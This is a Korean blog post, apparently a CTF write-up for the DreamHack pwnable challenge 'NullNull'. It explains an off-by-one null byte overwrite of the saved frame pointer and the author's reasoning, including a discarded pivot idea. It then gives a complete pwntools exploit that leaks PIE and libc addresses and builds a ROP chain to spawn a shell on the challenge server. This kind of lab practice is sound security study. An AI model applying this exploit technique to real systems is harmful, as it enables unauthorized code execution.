CIDY
[System_Hacking] NullNull 본문
이 문제는 예전에 시도했던 건데 그 당시에는 너무 어려워서 미루고 미루다가 지금에 와서 한다.. 지금은 그래도 제법 수월하게 할 수 있지 않을까?
일단 환경은 Ubuntu 20.04로 무난하다.
흠 카나리가 없다. 문제를 몇 번 만들어보니 웬만하면 보호기법을 다 걸고 싶은게 출제자의 마음인 것 같다. 그런데 굳이 복잡한 옵션 넣어가면서 특정 보호기법을 없앴다면 그걸 이용한 취약점이 발생할 가능성이 높다고 생각한다. 즉, 스택에서 rop나 pivoting등 장난치는 문제일 가능성이 높다고 생각한다.
main은 간단하다. 0x100짜리 버퍼 선언해놓고 memset -> sub호출을 반복한다.
문제의 서브함수이다. 뭣같이 표현돼있긴한데 그냥 case문이다. 입력이 좀 그런게 %ld형으로 입력받은걸 unsigned int로 형변환해서 Num변수에 저장한걸로 case문을 수행한다.. 그런데 여기서 이렇다 할 틈 벌어질 것 같지는 않으니 넘기자.
1번 케이스에서 벌써 취약점이 눈에 보인다. 저렇게 %{N}s로 입력받으면 뒤에 널바이트를 붙여 준다. 그러니까 안전하려면 %79s를 해야 했다는 말이다. 여기서 sfp의 하위 1바이트를 Null로 덮을 수 있는 취약점이 발생한다.
2번 케이스이다. 이 서브함수 인자로 32랑 아까 0x100짜리 메인 버퍼 주소가 들어왔는데, 저 서브함수가 어떻게 생겼냐면
이게 뭐냐면 0보다 작을 때에는 0을, 0이상 32미만에서는 입력한 숫자를 그대로, 그 이상 숫자의 경우 31을 반환하는, 즉 0 부터 31까지의 숫자를 반환할 수 있는 함수이다.
0 ... 31은 8단위로 메인의 버퍼를 참조하는 인덱스이다. 32 * 8 = 256딱 맞는 걸 알 수 있다. 인덱스에 대응하는 위치에 원하는 값(8바이트)을 써준다.
3번 메뉴는 이건데, 얘도 뭐 index입력받아서 출력하는게 전부임.
뭐 보면 일단 인덱스 입력 함수 자체에서 oob가 발생해서 릭을 할 수 있다거나.. 하는 식상한 전개는 없다. 그래도 아까 null overwrite가 매우 치명적이라 익스 방향은 쉽게 떠올릴 수 있다.
일단 메인에서 호출되는 서브함수를 NULL함수라고 지칭하겠다. 그럼 null함수에서 취약점 발생시키면 스택이 이상한 곳으로 정리될거다. 덮어지는 값이 NULL인걸 감안하면 원래 메인 스택보다 좀 더 위에 스택 프레임이 형성될건데, ret는 손상없으니까 스택 프레임 위치만 옮겨진 상태에서 메인 코드 자체는 정상적으로 실행될거임. 근데 여기서 치명적인 문제가 뭐냐면 NULL함수에 들어가는 버퍼 주소 인자는 여전히 이전 메인 스택에 있고, 그 값을 계속해서 조작 및 출력할 수가 있게 됨. 그리고 어차피 ret은 rbp rsp를 기준으로 실시되니까 정상적인 ret주소가 아닌 곳에서 내가 원하는 값을 ret에 먹여서 rop할 수도 있을 거라는 생각이 든다!
(다 풀고 보니 이 생각은 완전히 틀렸다. 우선 스택의 기준이 되는 rsp를 pivoting해서 움직이기 위해서는 leave ret의 과정이 2회 필요하다. 그런데 NULL함수 스택을 정리할 때 rsp를 add하는 방식으로 진행되기 때문에 pivoting이 근본적으로 불가능하다. 그리고 버퍼 주소 인자는 여전히 이전 메인 스택에 있는 것은 맞지만, 변수는 rbp를 기준으로 참조되기 때문에 rbp를 랜덤하게 조작하게 되면 버퍼 주소가 담긴 변수를 참조하기 어렵다. 수정하면서 지우지 않는 것은 이러한 아이디어 생성 및 변경, 취소의 과정을 기록해둔다면 유익할 것으로 판단되기 때문이다.)
그럼 이 아이디어를 코드로 직접 구현해보자
스택은 립씨 혹은 코드와 달리 하위 세 자리까지 모두 랜덤한 값을 지니게 된다. 일단 한 케이스로 정해서 계속 디버깅해보자.
overwrite가 잘 진행되었다. 원래는 a90의 주소를 담고 있었어야 하는데 a00이 됐다.
표시한 부분이 0x100짜리 배열의 주소, 즉 메인 스택에서 전달되어 올라온 친구이다. 얘는 NULL함수 rbp를 기준으로 참조될거다. 여기서 널함수 rbp가 a90에 있으니까 코드에는 rbp - 0x20 을 참조 뭐 이런식으로 되겠지. 그런데 그 rbp가 저 위로 가버렸다.
새로운 케이스를 만들었다. c70이 원래 bp인데 c00으로 된것임.
NULL함수 코드를 살펴보자.
두 번 리턴시키면 스택 움직여질 줄 알았는데 leave가 mov rbp, rsp가 아니고 rsp에 0x18을 더한다. 초기에 생각한 시나리오는 불가능하게 됐다.
일단 코드를 보아하니 rdi(32)와 rdi(버퍼 주소)를 rbp - 0x18과 rbp - 0x20에 저장하고 계속 참조해오면서 진행되니까 확실히 버퍼에 이상한 값을 쓸 수 있기는 하겠다.
흠 그럼 rbp가 어디까지 뒤로 갈 수 있는지가 관건이다.
그건 랜덤할 수 밖에 없으니까 저 주소가 rbp - 0x20이 된다는 가정하에 시작하자. 그럼 index 15로 pie leak이 가능하다. 이를 위해서는 aar이 필요하다. 이정도는 손브포도 가능하다. (물론 자동화시킬거지만..)
흠 코드주소는 잘 릭했다. 이제 저걸 다시 aar에 써서 립씨릭해야 하는데, 지금 rbp로는 내가 적은 got주소를 참조할 수 없는 구조이니 메인까지 내려갔다가 와야 한다. 어차피 메인 내려갔다오면 rsp rbp다 정상으로 돌아오니까 깔끔하게 새출발할수있다.
아 근데 생각해보니 아예 프로세스 종료하고 주소 새로 랜덤하게 받아오는 게 아니니까 이 시나리오는 불가하다. 그럼 또다시 rop를 해야 한다.
저기가 널함수 리턴하는 곳이니까 저기서부터 덮으면 된다. 인덱스로는 17부터 시작임.
저걸로 릭하고 다시돌아가서 최종rop쌓을랬는데 생각해보니 저거타고 바로 종료가 됨. 풀렐로라 릭이랑 동시에 익스하긴 힘들고 다시 메인으로 돌려야할듯. 그럼 스택 또 관찰해야 한다..
릭하고 바로 메인 호출하니까 스택이 이꼴나서 rbp - 0x20에 접근이 불가하다. 이걸 어떻게 처리할지 5분동안 고민해봤는데, 고민할 필요가 없었다. ROP적을때 메인을 좀 더 아래서 호출시키도록 필요한 만큼 더 ret을 적어주면 되기 때문이다! 심지어 ROP개수제한 (idx 17 ~ 31)역할을 하는 rbp - 0x18역시 큰 수라 ret을 얼마나 할 지에 거의 제한이 없다.
from pwn import *
def aaw(idx, value):
p.sendline(str(2).encode())
p.sendline(str(idx).encode())
p.sendline(str(value).encode())
def aar(idx):
p.sendline(str(3).encode())
p.sendline(str(idx).encode())
while(True):
p = remote("host3.dreamhack.games", 15943)
#p = process("./nullnull")
e = ELF("./nullnull")
libc = e.libc
#NULL byte poisoning
p.sendline(str(1).encode())
p.sendline("A" * 80)
p.recvline()
#PIE LEAK..
try:
aar(11)
pie_base = int(p.recvline()[:-1], 10) - 0x1382
if(((pie_base >> (5 * 8)) & 0xff) == 0x55 or ((pie_base >> (5 * 8)) & 0xff) == 0x56):
break
else:
p.close()
except:
p.close()
print(hex(pie_base))
puts_plt = pie_base + 0x10c0
puts_got = pie_base + 0x3fa8
pop_rdi = pie_base + 0x14e3
ret = pie_base + 0x101a
main = pie_base + 0x1209
#RETURN TO MAIN
#p.sendline(str(0).encode())
#NULL byte poisoning
p.sendline(str(1).encode())
p.sendline("A" * 80)
p.recvline()
#MAKE ROP
ROP = [pop_rdi, puts_got, ret, puts_plt, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, main]
print(len(ROP))
#WRITE ROP
for i in range(len(ROP)):
aaw(i + 17, ROP[i])
#RETURN TO MAIN
p.sendline(str(0).encode())
libc_base = u64(p.recvuntil(b"\x7f").ljust(8, b"\x00")) - 0x084450
print(hex(libc_base))
#NULL byte poisoning
p.sendline(str(1).encode())
p.sendline("A" * 80)
p.recvline()
p.recvline()
pause()
system = libc_base + 0x0522c0
binsh = libc_base + 0x1b45bd
ROP = [pop_rdi, binsh, ret, system]
#WRITE ROP
for i in range(len(ROP)):
aaw(i + 17, ROP[i])
#RETURN TO MAIN
p.sendline(str(0).encode())
p.interactive()
그렇게 30번 리턴해서 rop로 쉘땄다.
간단한 null byte overwrite문제였다. 작년 여름에는 진짜 못 풀었었는데 이걸 이제 푸네..ㅎㅎ 그동안 폰따완에서 연습한게 의미가 있긴 한 것 같아서 기분이 좋다:) 플래그 내용을 보니 좀 이상하게 푼 것 같은 느낌도 들지만 애초에 스택 취약점을 준 이상 풀이 방향은 다양하게 나올 수 밖에 없다고 생각하기 때문에.. ㅎㅎ
'Hack > DreamHack' 카테고리의 다른 글
[System_Hacking] Dirty Stack (0) | 2023.04.04 |
---|---|
[System_Hacking] Find Candy (0) | 2023.04.01 |
[System_Hacking] mining game (0) | 2023.03.20 |
[System_Hacking] Cat Jump (0) | 2023.03.19 |
[System_Hacking] Stupid GCC (0) | 2023.03.19 |